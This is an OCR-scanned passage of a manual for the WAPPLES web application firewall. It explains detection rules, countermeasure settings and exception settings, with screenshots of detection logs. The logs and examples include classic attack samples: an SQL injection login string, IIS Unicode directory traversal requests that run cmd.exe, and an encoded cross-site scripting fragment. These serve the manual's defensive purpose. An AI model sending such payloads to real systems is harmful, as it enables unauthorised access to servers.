The following was detected as an attempt using the weak point of Web DAV and

“PROPFIND” method:

[Field Walue
Policy Custom Policy
Rule Request Method Filtering

Source Address  192.168.3.157

Source Country  Unknown

destination ad... 192.168.3.153:80

Time 9/15/2010 4:46:25 AM
WebSite 192.168.3.153

Requested URI  fworkspacefwebdav/info.doc
Countermeasure  Error code

risk 0 (Low)

Character Set ; | Windows-1252 <Western Europe:‘

Data Stream
Raw Data | Decoded Data |

UNLOCK fworkspacefwebdav/info.doc HTTP/1.1
Lock-Token: <opaquelocktoken:a515cfad-5dad-
22e1-fSb5-00a0451e6bf7 >

Authorization: Digest username="ejw",

realm ="ejwi@foo.com", nonce="...",

uri ="fworkspace/webdav/proposal .doc",
response="...", opaque="..."

Host: 192.168.3.153

Connection: Close

User-Agent: Sphere Acceptance Tester v2.1

Reason of detection

'UNLOCK' HTTP Method is prohibited in Security policy.

Fig. VI-29. Details of the Request Method Filtering Attack Detection Log

03 Countermeasure

Filtering should be performed for HTTP methods that are not required in the web

SEerver.

WAPPLES supports three detection modes in the following table to cope with the

Request Method Filtering attack:

Table 60. Request Method Filtering Detection Modes

Mode Description
[Permit secure request Allow only four generally used request methods
only] (GET, POST, HEAD, OPTIONS).
[Custom setting] Defines the request method and prohibits or

permits the corresponding method
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[Do not detect] The corresponding rule will not be detected.

When a Request Method Filtering Attack is detected in said detection mode,
select one of four ways in the following table to cope with the attack:

Table 61. Countermeasure Setting

Mode Description

Disconnect Cuts the HTTP connection

Responds to the HTTP status code;
generally, an error code is sent when the
request message is prepared in incorrect
format or cannot be handled appropriately
Page redirection Goes to the designated error-handling page

The website will be recorded in the
detection log, but access to the web server
is not blocked. Use this option when you
do not want to block websites.

Error code

Detection only

If you select [Error code], the HTTP status code and meaning can be [Table 145.
HTTP Status Code and Meaning] of [XV1I1.4 Error Handling Status Code].

04 Exceptions

If Request Method Filtering detection is not appropriate for the corresponding
web page, the administrator can exclude the corresponding web page from
Request Method Filtering detection depending on the website environment. For
details on excluding websites from detection, refer to [X1.7]
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2.19 Response Header Filtering
01 Overview
If a web server header response gives the user more than the necessary

information, various security issues may arise such as providing hints on the
potential weak point of the site.

02 Countermeasure
Filtering should be done through the web server or the web application.
The basic server information provided by the web server (web server OS, server
type, Active page language, etc.) can be obtained and used for hacking. If a
certain website requires a specific header, or in case additional information that
should be filtered occurs, then it may need some modifications.

WAPPLES supports three detection modes in the following table to cope with the
Response Header Filtering attack:

Table 62. Response Header Filtering Detection Modes

Mode Description
[Prevent server Filters and eliminates Server and X-Powered-By
information leakage]  items that can leak server information
[Custom setting] The administrator can decide to give [Output
Permission] and directly enter the [Header String].
[Do not detect] The corresponding rule will not be detected.

The operator does not decide how to respond to the corresponding rule. If the
HTTP Response Message includes a prohibited header, WAPPLES will eliminate
it completely before responding.

03 Exceptions

If the detection of Response Header Filtering is not appropriate for the web page,
the administrator can exclude the corresponding web page from Response Header
Filtering detection depending on the website environment. For details on
excluding websites from detection, refer to [XI.7 Change Detection Exception
Setting].
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2.20 SQL Injection

01 Overview

This attack forcibly inserts an SQL phrase into the web application to divert,
modify, or detour administrator verification. First, the attacker finds the
parameter sent by the web application to the database. The attacker can
manipulate the web application to send malicious query to the database by
carefully inserting a malicious SQL command. This technique is not easy to
execute; various tools are continuously being developed to find weak points
related to this type of attack.

02 Example of Attack

The attacker attempts to log in through an SQL phrase such as “SELECT userid
FROM logins WHERE name=‘admin’ OR 1=1;-- AND password=.”

be
’(\ ID : |admin’ or 1=1 -]
P/W :
© LOGIN

Fig. VI-30. SQL Injection Attack Test

This is an example of detecting an SQL Injection attack through the ID and
Password insertion window in WAPPLES.
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Field

Policy

Rule

Source Address
Source Country
destination ad...
Time

WebSite
Requested URI
Countermeasure
risk

Walue

Custom Policy

SQL Injection
192.168.3.157
Unknown
192.168.3.153:80
9/15/2010 4:48:39 AM
192.168.3.153
fkoreanfboardflogin_chk.php
Error code

0 (Low)

Character Set : Windows-1252 <Western Eurob'e'v‘

Data Stream
| | Raw Data | Decoded Data

POST fkorean/board/login_chk.php HTTRf1.1

Accept: image/gif, image/x-xbitmap, imagefjpeg, image/pipeag,
application/x-shockwave-flash, */*

Referer: http:/f192,168.3.153/korean/board/login.html
Accept-Language: en-us

Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate

User-Agent: Mozillaf4.0 {compatible; MSIE 6.0; Windows NT 5.1;
Sv1; NET CLR 2.0.50727)

Host: 192.168.3.153

Content-Length: 42

Connection: Keep-Alive

Cache-Control: no-cache

Cookie: PHPSESSID=d38698092ad3b4e299fh31a1264814b50

id=admin®627 +or +1%03D1 +--&passwd=&x =
1528y =2

Reason of detection
SQL can be inserted into DBMS is detected.

Fig. VI-31. Details of the SQL Injection Attack Detection Log

03 Countermeasure

The web server or web application can verify the inputted values to prevent the
insertion of malicious phrase. Make sure the web application is not given more
than the necessary authorization to perform the corresponding function.

WAPPLES supports four detection modes as in the table below to cope with the
SQL Injection attack.

Tabl

L Inj

ion D ion M

Mode

Description

[Custom setting]

Detects SQL keywords that can be used as SQL

Injection in detail

[Detect extended SQL

Injection]

Detects the attack that forcibly inserts SQL through

the Cookie and Request Parameter to divert,
modify, or detour verification

[Detect
Injection]

basic  SQL

Detects the attack that forcibly inserts SQL through

the Request Parameter to divert, modify, or detour
verification

[Do not detect]

The corresponding rule will not be detected.
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When an SQL Injection Attack is detected in said detection mode, select one of
four ways in the following table to cope with the attack:

Table 64. Countermeasure Setting

Mode Description

Disconnect Cuts the HTTP connection

Responds to the HTTP status code;
generally, an error code is sent when the
request message is prepared in incorrect
format or cannot be handled appropriately
Go to Another Web Page Goes to the designated error-handling page
The website will be recorded in the
detection log, but access to the web server
is not blocked. Use this option when you
do not want to block websites.

Send Error Code

Do Not Block

If you select [Send Error Code], the HTTP status code and meaning can be [Table
93. Administrator ID Management by Security Policy - Error Message] of
[XVI1I1.4 Error Handling Status Code]

@ In [Detect Requests Suspected of SQL Injection] mode, unexpected
misdetection may occur since it detects most SQL queries and keywords
that can be used in the attack.

04 Exceptions

If the detection of SQL Injection is considered inappropriate for the
corresponding web page depending on the website environment, the administrator
can exclude the corresponding web page from SQL Injection detection. For
details on excluding websites from detection, refer to [X1.7 Change Detection
Exception Setting]
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2.21 Stealth Command

01 Overview

Many web applications are using OS or external program to execute functions.
The attacker can insert malicious command as information when the web
application receives an HTTP request and transmits this information to the
outside; the web application transmits and executes this information as it is
outside. The attacker uses this to plant the Trojan Horse or execute malicious
codes.

Attackers rarely target the website’s unique application but use the well-known
bugs of the web application. The attacker uses the scanner to check for bugs, and
then enables malicious commands.

02 Example of Attack
This attack executes a command (/bin/Is;/bin/Is|grep main) by using semicolon

(%3b), pipe character (%7c), or space (%20) to access security-related system
files such as /etc./password.

Character Set : ‘ Windows-1252 <Westem Europe v

§.F.ielc-j Value [
| Palicy 3. Standard Security Level ‘ ‘Piata Str eqm
|Rule Stealth Commanding | | Raw Data | Decoded Data
|Source Address  192.168.3.156 I GET /scripts/..%c1%
[E0nacaniny, ko || |1c.. /winnt /system32/cmd.exe? /c+dir
destination ad... 192.168.3.153:80 [|HTTP/1.1
| Time 9/15/2010 3:29:34 &AM
| WebSite Unregistered website Host: 192.168.3.153
|Requested URT  fscriptsf..%1C. . fwinnt/syste... Connection: Close
Cotmtermizasire Datectondnly User-Agent: Sphere Acceptance Tester v3.0
| risk 0 (Low)
Reason of detection
Trial to execute ".exedir' command.
N

Fig. VI-32. Details of the Stealth Command Attack Detection Log
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03 Countermeasure

Like SQL Injection, the web server or web application can verify the inputted
values to prevent the insertion of malicious command. Make sure the web
application is not given more than the necessary authorization to perform the
corresponding function.

WAPPLES supports two detection modes as in the table below to cope with the
Stealth Command attack.

Tabl . Stealth Command Detection M

Mode Description

[Standard setting] The web application receives an HTTP request, delivers
the corresponding information to the outside, and
detects whether the attacker inserted malicious
command that is capable of executing an external

program.
[Custom setting] Decide whether detect stealth commanding with
relative path access and plain stealth commanding.
[Do not detect] The corresponding rule will not be detected.

When a Stealth Command Attack is detected in said detection mode, select one of
four ways in the following table to cope with the attack:

Table 66. Countermeasure Setting

Mode Description

Disconnect Cuts the HTTP connection

Responds to the HTTP status code;
generally, an error code is sent when the
request message is prepared in incorrect
format or cannot be handled appropriately
Go to Another Web Page Goes to the designated error-handling page
The website will be recorded in the
detection log, but access to the web server
is not blocked. Use this option when you
do not want to block websites.

Send Error Code

Do Not Block

If you select [Send Error Code], the HTTP status code and meaning can be [Table
145. HTTP Status Code and Meaning] of [ XVI11.4 Error Handling Status Code].

04 Exceptions

If the detection of Stealth Command is not appropriate for the web page, the
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administrator can exclude the corresponding web page from Stealth Command
detection depending on the website environment. For details on excluding
websites from detection, refer to [X1.7 Change Detection Exception Setting].

2.22 Suspicious Access

01 Overview

Automated attacking tools such as worm, hacking script, and security scanning
tool are incapable of handling HTTP fully unlike the web browser. In addition,
worm causes a great number of access attempts within a short period of time
when it proliferates. Suspicious Access rules can block or limit access by clients
that are not using an ordinary web browser by identifying such characteristics of
automated attacking tools.

This is for detecting the attack using worm or automated tools.

02 Countermeasure

Following 4 detection modes are available.

Table 67. Countermeasure Setting

Mode

Description

[Block as
1% level]

Detect if there is no User-Agent field.

If User-Agent of the traffic is search bot, pass it.

If there is Accept field in the traffic, inspect followings and if it
is correspondence, pass it.

If there is From field in the traffic. and its contents is
"msn(at)microsoft.com”, "googlebot(at)googlebot.com™,
nhnbot@naver.com, pass it

If client IP of the traffic is search bot IP, pass it.

If extension of requested URI is image file, pass it.

Gif, jpg, jpeg, bmp, png, and etc.

If extension of requested URI is movie file, pass it.

Avi, mpg, mpeg, mpe, wmy, asf, flv, rm, mov

If there is no parameter in request, pass it.

[Block as
2" level]

Detect if there is no User-Agent field.
If User-Agent of the traffic is search bot, pass it.
If client IP of the traffic is search bot IP, pass it.

[Custom
setting]

By turning on/off the following criteria, it is possible to change
the criteria for passing.

Detect if there is no User-Agent field.

If User-Agent of the traffic is search bot, pass it.

If there is Accept field in the traffic, inspect followings and if it

is correspondence, pass it.

If there is From field in the traffic. and its contents is

"msn(at)microsoft.com”, "googlebot(at)googlebot.com”,
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Mode Description

nhnbot@naver.com, pass it
If client IP of the traffic is search bot IP, pass it.
If extension of requested URI is image file, pass it.
Gif, jpg, jpeg, bmp, png, and etc.
If extension of requested URI is movie file, pass it.
Avi, mpg, mpeg, mpe, wmy, asf, flv, rm, mov
If there is no parameter in request, pass it.
If there is Referer field in request, pass it(Most web browser use
Referre as history)
If there is Cookie field in request, pass it.
[Do not The corresponding rule will not be detected.
detect]

Filtering should be done through the web server or the web application.

@ The suspicious Access detection rule may detect the attack using a special
web client instead of ordinary web browser. It may also detect/block the
robot that is used to collect page information from the web search site.

The operator does not decide how to respond to the corresponding rule. When
WAPPLES detects a suspicious sign, it will be automatically blocked.

03 Exceptions

If the detection of suspicious access is not appropriate for the web page, the
administrator can exclude the corresponding web page from Suspicious Access
detection depending on the website environment. For details on excluding
websites from detection, refer to [X1.7 Change Detection Exception Setting]

2.23 Unicode Directory Traversal
01 overview

This is a type of attack technique that selects a directory or a file that could not be
predicted by the developer using a specific parameter of the web application to
check the contents of the directory or the file. With this attack, important
information of the server such as the administrator’s ID and password,
information used for the DBMS server connection, and source files can be
exposed.
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02 Example of Attack

This attack attempts to access the system directory using the I1S bug. This is used
by forcibly allocating it to the extended area of UTF-8. The following example is
trying to execute the cmd command of the system:

Character Set : ;’7Windrﬁws-12'52 <Westem Europe v\

Field Walue

| Paolicy 3. Standard Security Level Batgisieay §

Rule Unicode Directory Traversal Raw Data | Decoded Data |

Source Address | 192.168.3.156 GeT /msadc/..%c0%af../..%c0%af../..% \
Solrce Colntry: |Unkriown c0%baf.. /winnt /system32/cmd.exe?/c+dir
destination ad... 192.168.3.153:80 HTTP/1.1

Time 9/15/2010 3:29:34 &AM Host: 192.168.3.153

WehSite Unregistered website

Connection: Close

Requested URL  fmsadc/....f....[...jwinntfsyst... | | | Jser-Agent: Sphere Acceptance Tester v3.0

Countermeasure  Error code
risk 0 {Low) |

Reason of detection
Attack is detected.

Fig. VI-33. Details of the Unicode Directory Traversal Attack Detection Log

03 Countermeasure
Filtering should be done through the web server or the web application.

WAPPLES supports two detection modes as in the table below to cope with the
Unicode Directory Traversal attack.

Table 68. Uni Directory Traversal D ion M
Mode Description
[Standard setting] Detects the act of moving a directory illegally using the
characteristics of Unicode encoding
[Do not detect] The corresponding rule will not be detected.

When a Unicode Directory Traversal Attack is detected in said detection mode,
select one of the four ways in the table below to cope with the attack.
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Tabl . nterm r ttin

Mode Description

Disconnection Cuts the HTTP connection

Responds to the HTTP status code;
generally, an error code is sent when the
request message is prepared in an incorrect
format or cannot be handled appropriately
Page redirection Goes to the designated error-handling page
The website will be recorded in the
detection log, but access to the web server
is not blocked. Use this option when you
do not want to block websites.

Error code

Detection only

If you select [Send Error Code], the HTTP status code and meaning can be [Table
145. HTTP Status Code and Meaning] of [XVII1.4 Error Handling Status Code].

04 Exceptions

If the detection of Unicode Directory Traversal is considered inappropriate for the
corresponding web page depending on the website environment, the administrator
can exclude the corresponding web page from Unicode Directory Traversal
detection. For details on excluding websites from detection, refer to [X1.7 Change
Detection Exception Setting]

2. Details of the WAPPLES Rules 180



2.24 URI

01 Overview

Access Control

Forceful Browsing is a technique used by the attacker to access other menus of
the administrator’s page forcibly such as the administrator’s post-writing URL or
post-deleting URL to detour the verification process and obtain the
administrator’s authority when important pages such as the administrator’s page
require verification.

02 Countermeasure

WAPPLES uses the Positive Security Model, which not only prevents this type of
forceful access attacks but also allows permitted accesses to prevent the
proliferation of various worms and attempts to collect important information
fundamentally.

Before using the URI Access Control rule, you need to register all pages in the
website to the URI Access Control list. If you enable URI Access Control without
registering the pages to the URI list, all requests of the web user will be detected
as illegal requests.

You can register URIs to the URI Access Control list automatically or manually.
To register manually, you can enter URIs in [URI Access Control List
Management]; WAPPLES also accepts web page requests through reliable IPs
registered for the administrator’s convenience and supports the URI Learning
feature that automatically adds URIs to the URI Access Control list through the
[Log Review] of the detection logs. For details on manual registration, refer to
[X1.8 Edit URI Acess Control List]; for information on the registration of
[Reliable IP], refer to [ Add and Edit Website]. For details on the [Log Review]
feature of the detection log, refer to [V11.4 Reviewing the Searched Logs].

WAPPLES supports five detection modes as in the table below to cope with the
URI Access Control attack.

Table 70. URI A ntrol D ion M

Mode Description

[Detect & Do not learn] Use this mode when the pages are not added to or
deleted from the website after the learning of the
URL access control list is completed.

2. Details of the WAPPLES Rules 181



[Detect & Learn]

Use this mode to learn URIs to create the URI
Access Control list as well as detect them; learns
the web pages requested from reliable IPs
registered to the website

[Do not detect & Learn]

Use this mode to learn URIs solely to create the
URI Access Control list; only learns the web
pages requested from reliable IPs registered to the
site

[Custom
Setting]

Learning
Condition

[Learning] indicates whether WAPPLES will learn
URIs or not with the True/False value. The
[Referrer], [Trusted IP], and [Right Browser]
values become significant only when [Learning] is
enabled (True).

[Referrer] determines whether WAPPLES will
learn the access through the permitted URI or not
by the True/False value.

[Trusted IP] indicates whether WAPPLES will
learn the pages requested from the reliable IP or
not by the True/False value.

[Right Browser] indicates whether WAPPLES will
learn the pages accessed through a browser only
or not with the True/False value.

Detection

Determine whether the attempt to access the
unlearned pages will be detected with the
True/False value.

[Do not detect]

The corresponding rule will not be detected.

@ WAPPLES registers URI to allow access in advance and detects and
blocks all other accesses. Since the detection policy is applied after the
URI to be permitted is registered through the learning period, learning is
required when the web page is changed or added. Since all URIs other
than the learned URI will be detected and blocked, excluding pages that
frequently change such as the upload directory is recommended.

When a URI Access Control Attack is detected in said detection mode, select one
of four ways as in the table below to cope with the attack.

Table 71. Countermeasure Setting

Mode

Description

Disconnection

Cuts the HTTP connection

Error code

Responds to the HTTP status code;
generally, an error code is sent when the
request message is prepared in incorrect
format or cannot be handled appropriately
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Page redirection Goes to the designated error-handling page
The website will be recorded in the
detection log, but access to the web server
is not blocked. Use this option when you
do not want to block websites.

Detection only

If you select [Send Error Code], the HTTP status code and meaning can be [Table
145. HTTP Status Code and Meaning] of [XVII11.4 Error Handling Status Code].

03 Exceptions

If the detection of URI Access Control is not appropriate for the web page, the
administrator can exclude the corresponding web page from URI Access Control
detection depending on the website environment. For details on excluding
websites from detection, refer to [X1.7 Change Detection Exception Setting]
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2.25 User-Defined Pattern

01 Overview

User-Defined Pattern is a pattern-based rule that can arbitrarily add conditions
appropriate for the user’s specific circumstances.

User-defined pattern can be applied only to patterns saved in the pattern
repository in operation settings; WAPPLES detects the pattern set in the Black
List method when the same value is found in the corresponding detection area.

02 Countermeasure

This only offers custom detection mode. Go to [Edit Custom Setting] to check the
patterns saved to the pattern repository as in [Fig. 94. Editing Custom Settings for
the User-Defined Pattern].

Double-clicking each pattern shows detailed information including the pattern’s
detection location, detection Key, and detection character string (pattern). [Fig. 95.
Pattern Details of the User-Defined Pattern Rule]

Brief information on the detection location, key, and pattern as shown in the
pattern details can be obtained through [Table 68. Pattern Information]; detailed
information can be obtained with reference to HTTP RFC if necessary.

Only the patterns saved to the pattern repository can be used for the User-Defined
Pattern rule; the pattern is detected in the position of the HTTP Request Message
as indicated in [Table 18. Classification by Detection Location].

[Fig. 96. HTTP Request Message] is an example of an HTTP Request Message;
detection may be configured for particular locations within the message in the
User-Defined Pattern.
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User Defined Pattern

User Defined Pattern

Pattern Repositary Apply pattern

Mame Pattern count  Use regex Mame

securit 1 X
v

’ Caonfirm H Cancel l

Fig. VI-34. Editing Custom Settings for the User-Defined Pattern

User Defined Pattern

User Defined Pattern

User Defined Patterm Rule l Change the view I

Pattern

Detection Dire,,, Detection Patt... kKey
LRI 1 Check all key Regex

[ ]

Regex key

[ ]

Fig. VI-35. Pattern Details of the User-Defined Pattern Rule

Table 72. P rn Information

Pattern Description
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Pattern Description
Detectio URI No. 4 in [Fig. 98. HTTP Request Message] is the
n absolute path.
Locatio Ex.) /pub/WWW/TheProject.html
n REQLI  No. 1in[Fig. 98. HTTP Request Message]
NE Request-Line = Composed of Method URI HTTP-
\ersion
For example) GET /pub/WWW/TheProject.html
HTTP/1.1
PARAM No. 6, blue box area of [Fig. 98. HTTP Request
Message]
Parameter is the variable used for transmitting a value to
another page; it is located on the right side of “=.”
REQHE No. 2 in [Fig. 98. HTTP Request Message]
ADER transmits the HTTP Request Header part request and

additional information on the client from the client to
the server.

Detection Pattern

Random string to be detected;

finds a pattern in the values of REQHEADER or
REQCONTENT or parameters

Ex.}

No. 6 in [Fig. 98. HTTP Request Message]

Key Key is the string that comes on the left side of “=.”
If you do not configure the key, the patterns will be
detected for all keys.
Ex.}
No. 5 in [Fig. 98. HTTP Request Message]
Request
05T TTP/1.0 | 1

Content-Length: 220
Accept: =/«

Host: demo, testfire, net

Cookiet Tang=english: Userlinfo=0serd=T00TTE0Td48UserMName=jsmith&approvedy—
CardType=Gold; Interest=7.9; Limit=10000;
ASP.NET_Sessionld=esl4h555sokfwebbhiznliia; Userld=100116014

lccept-Language 6 "
User-Agent: Mozilla/4.0 (compatible; MSIE 5.5 Windows NT 5,00

Content-Type: application/s-www-form-urlencoded
Referer: hitp://demo testfire net/bank/welcome aspx

Connection: Close

)_:name=> > <img%20src?%3D%26%23x6a; % 26%23x61,%26% |
23x13:% 26% 2303, % 26% 23 72, % 26% 23x 69, % 26% 230 70, % 26% 23 14, % 26% 23w Jasd |~

Fig. VI-36. HTTP Request Message
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You can cope with the detected HTTP request message using one of four
countermeasures as follows in the User-Defined Pattern rule:

Table 73. Countermeasure Setting

Mode

Description

Disconnection

Cuts the HTTP connection

Error code

Responds to the HTTP status code;
generally, an error code is sent when the
request message is prepared in incorrect
format or cannot be handled appropriately

Page redirection

Goes to the designated error-handling page

Do not detect

The website will be recorded in the
detection log, but access to the web server
is not blocked. Use this option when you
do not want to block websites.

If you select [Send Error Code], the HTTP status code and meaning can be [Table
145. HTTP Status Code and Meaning] of [XVII1.4 Error Handling Status Code].

03 Exceptions

If the detection of the User-Defined Pattern is not appropriate for the web page,
the administrator can exclude the corresponding web page from User-Defined
Pattern detection depending on the website environment. For details on detection
exceptions, refer to [X1.7 Change Detection Exception Setting]
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2.26 Website Defacement

01 Overview

Many web attackers are keen on expressing their own thoughts and beliefs by
changing the initial page of the website. WAPPLES can detect such changes in
web pages and block the exposure of the changed page to a number of clients or
restore the changed page to the original page for normal service.

02 Countermeasure

The Website Defacement rule determines whether there were changes in the web
page by inspecting specific character strings in each page or registering all pages.
The web page identified as a changed web page can be switched with the
preregistered recovery page to secure the web service.

When there is a Website Defacement Detection log, you need to check whether
the page was updated normally. If the Website Defacement Detection log was
recorded due to normal page update, you need to reflect the changes on the
Website Defacement rule settings.

If the log was recorded due to abnormal page update, the page can be considered
to have been hacked. In this case, you need to restore the corresponding page in
the web server and inspect the security of the web server and peripheral servers.

@ If the page to be inspected for defacement does not have fixed contents
but is an active page (displays different contents for each request), you
cannot register all pages. In this case, select and register a specific
character string that will be included in all contents.

03 Types of Settings

You can configure the inspection of the changes in each page through the custom
settings of Website Defacement.
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Fig. VI1-37. Custom Setting of Website Defacement

Enter the website/URI and select a detection method between pattern (specific
character string) and hash (all pages). If you select “hash,” save the pages of the
registered URISs to files and click [Compared Page] to register files. If changes are
detected, check [Restore] and click [Restored Page] to register the restored page
file if you wish to restore the page. After entering all contents, click [Add] on the
lower left side to register the page. Since detection method of hash compare
whole page, if you want to register a dynamic page, 2 factors must be considered
to activate this rule.

@ Detection method should be pattern
@ The pattern to be registered should be one that will not change

If there is no usable patterns, you can insert some watermark into the web page th
at will not change..

Example.

® <'-- Watermark -->
® <IFRAME height=0 width=0> Watermark </IFRAME>
@ <META secritpattern=""Watermark"" />

You can cope with Website Defacement using one of the four measures as follows
based on the detection method:

Table 74. Countermeasure Setting
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Mode Description

Disconnection Cuts the HTTP connection

Responds to the HTTP status code;
generally, an error code is sent when the
request message is prepared in incorrect
format or cannot be handled appropriately

Page redirection Goes to the designated error-handling page
The website will be recorded in the
detection log, but access to the web server
is not blocked. Use this option when you
do not want to block websites.

Error code

Detection only

If you select [Send Error Code], the HTTP status code and meaning can be [Table
145. HTTP Status Code and Meaning] of [XVII1.4 Error Handling Status Code].

04 Exceptions
If the detection of Website Defacement is not appropriate for the web page, the
administrator can exclude the corresponding web page from Website Defacement

detection depending on the website environment. For details on excluding
websites from detection, refer to [X1.7 Change Detection Exception Setting]

2. Details of the WAPPLES Rules 190



2.27 1P Block

01 Overview

A number of attempts to attack the server and application are launched in the web
environment; these attacks are mostly made through automated tools.

Some malicious users attempt to access the server by finding weak points, but
most of them use an automated tool that makes repeated attempts to access the
system using normal access methods in a short period of time to cause server
overload.

This is the detection rule designed to identify the attack that occurs automatically
and continuously.

02 Example of Attack

Since IP Block is not a detection rule, but based on result of detection, configure
through [Setting Wizard] not [Policy].

IP block configure risk level for each rules in advance to block the continuous
attacks that is coming from same departure.

If the summation of this risk level exceeds the maximum value within the time
configured by administrator, then blocks access from this departure..Setting
from [XI111.1.5 IP-Block] is same with [Fig. X111-24. IP Block Setting Wizard
(Set Conditions for Black List IP)]®, as [Fig. VI-38. IP Block Risk Level Setting
Window Fig. VI-38. IP Block Risk Level Setting Window], in case risk level of
SQL Injection is set as 60, if SQL Injection having same source IP is tried more
than twice, since accumulation(120) exceeds 100, corresponding IP is blocked.
Through [Fig. VI-39. Details of the IP Block Attack Detection Log] detail
information can be checked.

3 1f during 1

minute, accumulation of risk level of access from the same departure is

more than 100, block.
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Edit Policy
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Detection B Detect basic S0L Injection Countermeasure B Error code
attack

falsify data of an internal
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adrministrator's verification by 400 Bad Request w
forcitly injecting 0L
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pararmeter,

[] Custaorn Setting B Risk _J_

o - Detect attacks to leak out or - ‘ -

Fig. VI-38. IP Block Risk Level Setting Window

Log details E“_.E]
ElhEEEe S ¢ | Windows-1252 <Western ELrope v|

Field Value

Palicy 3. Standard Security Level Data Stream

Rule Ip Block Raw Data | Decoded Data

Source Address  192,168.3.156

Source Country  Unknown

destination ad.., 127.0.0.1:0

Tirme 9f15/2010 5:53:28 AM
WehSite Unregistered website
Reqguested URI

Countermeasure  Disconnection

risk: 0 iLow)

Reason af detection

Elock the IP until 9/15/2010 6:02:28 &M, due to continuous -
attacks. v

e S T
Confirm

Fig. VI-39. Details of the IP Block Attack Detection Log

When the IP Block log is recorded, the management tool issues a security
warning message. The following security warning message will be displayed:
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Table 75. IP Block rity Warning M

Security Warning Message Cause

“IP BLOCK” log was recorded. The IP Block log was recorded.

@ A security warning message is displayed if you fail to log in for 3
consecutive times when the IP Block log is recorded, when the audit log is
recorded for DB capacity warning, and when the audit log is recorded for
DB capacity overload. In particular, the warning message will be
displayed for the most recently recorded log.

03 Countermeasure

The attempt to access the web server or web application is counted; if it violates
the settings, the attempt will be blocked.

WAPPLES detects the IP address that makes a number of access attempts within
a short period of time and counts the number of attempts. It then compares the
time determined by the administrator and the number of attempts made; if it
exceeds the permissible level, the detected IP will be blocked for the period of
time determined by the administrator.

For the setting rules for IP Block and detailed explanations on the management of
the blocked IP, refer to [Block Setting].

@ WAPPLES detects IP Block when it violates each detection rule; the
number of accesses will be counted when the response for the
corresponding rule is set to “blocking” instead of “permitting” actions.
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VII. Detection Log

The detection log provides the rules detected based on the detection rules defined
in [VI. Understanding the Detection Rules] as well as the address and country of
the user who committed the dangerous action, URL that became the target, and
time of action. You can view the detection log by clicking [Detection Log] in the
WAPPLES Management Toolbar.

[& customer1 - WAPPLES Management ConsolePolicy/Log sync(PLS) mode is running.
r-\ ﬁﬁ} g 1p j@ @ @ websites | @ Whok v ‘ébu
o L

vareums add Tab |Detection Log | Dashboard  AuditLog Meritering Polcy  Report fegiody Rocont 1 ¢ Lok ¥ | setting Wizard
[ Recent 1 day. Whole 4127 N [1/42 page v
Rule Hame Source IP Country LRI Destination Addr... Time Countermessure | Risk A
Ip Black 192.168.3.156 7 (ocd) <Unregistered website> 127.0.0.1 9f15/2010 5:54:14 AM W Disconnec... |

Cross Site Scripting 192.168.3.156 7 (ocd) 192.16 viets/MsgPage  192.168.3.153:80 9/15/2010 5:54:14 AM oDEnorcode A

Ip Black 192.168.3.156 7 (ocd) <Unregistered website> 127.0.0.1 9f13/2010 5:53:28 AM @aDisconnec...

Cross Site Scripting 192.168.3.156  ? (ocd) 192.168.3.153/servietforg.apache.... 192.168.3.153:80 9/15/2010 5:53:28 AM eDEnorcode A

Cross Site Scripting 192168315 7 (ocd) 192.168.3.153/servietforg.apache... 192,166.3153:80 0/15/2010 5:53:23 AM §UEmorcode A

Cross Site Scripting 192.1683.156 7 (ocd) 192.168.3.153/servietfMsgPage 192.168.3.153:80 9/15/2010 5:53:28 AM DEnorcode A

Cross Site Scripting 182.1633.156 7 (ocd)  102.168.3.153/test. fitml 182.168.3.153:80 9/15/2010 5:5%:28 AM DErorcode A

Cross Site Scripting 192.168.3.156  ? (ocd) 192.168.3,153/test. it 192.168.3.153:80 9/15/2010 5:53:28 AM oUEnorcode A

Twalidd HTTR 182.168.3.156 7 (ocd)  <Urregistered website> 182.166.3.153:80 9/15/2010 5:53:28 AM W Disconnec... A

Buffer Overfiow 192.168.3.15 7 (ocd) 192.168.3.1 192.168.3.153:80 9/15/2010 5:53:28 AM HIEmorcode A

Extension Fitering 192.168.3.156 7 (oca)  192.168.3.153/defaultida 192.168.3.153:80 9/15/2010 5:53:28 AM oDErorcode A

Buffer Overfiow 192.168.3.15 7 (ocd) 192.168.3.153/defaultida 192.168.3.153:80 9/15/2010 5:53:28 AM HIEmorcode A

Extension Fitering 192.168.3.156 7 (ocd) 192.168.3.153/_vti_bin/_vti_sut/d.. 192.168.3.153:80 9/15/2010 5:53:28 AM oEnorcode A

Buffer Overfiow 1921683156 7 (ocd) 192.168.3.153/_vti_bin/_vti_autjch. 192.168.3.153:80 9/15/2010 5:53:28 AM oUEmorcade A

Buffer Overfiow 192.168.3.156 7 (ocal) 192.168.3.1 192.168.3.153:80 9/15/2010 5:53:28 AM eDEnorcode

Buffer Overfiow 192168315 7 (ocd) 192.168.3.153/<<<<<<<<qs<,. 192168315380 0/15/2010 55328 AM §UEmorcode A

Cross Site Scripting 192.168.3.156 7 (ocd) 192.168.3.153/bbs.php 192.168.3.153:80 9/15/2010 5:52:39 AM DEnorcode A

QL Injection 192.168.3.156 7 (ocd)  192.168.3.155/duck/index. asp 182.168.3.153:80 9/15/2010 5:52:30 AM DErorcode A

Stealth Commanding 192.168.3.156  ? (ocd) 192.168.3,153/msadc) O0../. 0., 192168.3.153:80 9/15/2010 5:52,39 AM UEnorcode A

Stealth Commanding 182.168.3.156 7 (ocd)  192.168.3.153/soripts). O%1C, fw... 192.168.3.153:60 9/15/2010 5:52:39 AM DErorcode A

Unicade Directary Trav.., 192.168.3.156 7 (ocd) 192.168.3.153/msadch. OO..J. 0. 192.168.3.153:80 9/15/2010 5:52:39 AM HUEmorcode A

Unicode Directory Trav... 192.168.3.156 7 (local)  192.168.3.153/soiptsl. 0%1C. jur.. 192.168.3.153:80 9/15/2010 5:52:39 AM oDErorcode A

Irwvalid LRI 192.168.3.156 7 (ocd) 192.168.3,153/scripts). O%1C, fw... 192,168,3,153:80 9/15/2010 5:52,39 AM HIEmorcode A

Unicode Directory Trav... 192.168.3.156 7 flocal) 192.168.3.153/sciptsl. OO, Jwin.. 192.168.3.153:80 9/15/2010 5:52:39 AM oEnorcode A

Stealth Commanding 192.168.3.156 7 (locdl) 192.16%.3.153/scriptsf. OO, Jwin.. 192.168.2.153:60 9/15/2010 5:52:39 AM wOErorcode A

Unicode Directory Trav... 192.168.3.156 7 flocal)  192.168.3.153/scriptsl. OO, Jwin.. 192.168.3.153:80 9/15/2010 5:52:39 AM oDEnorcode A

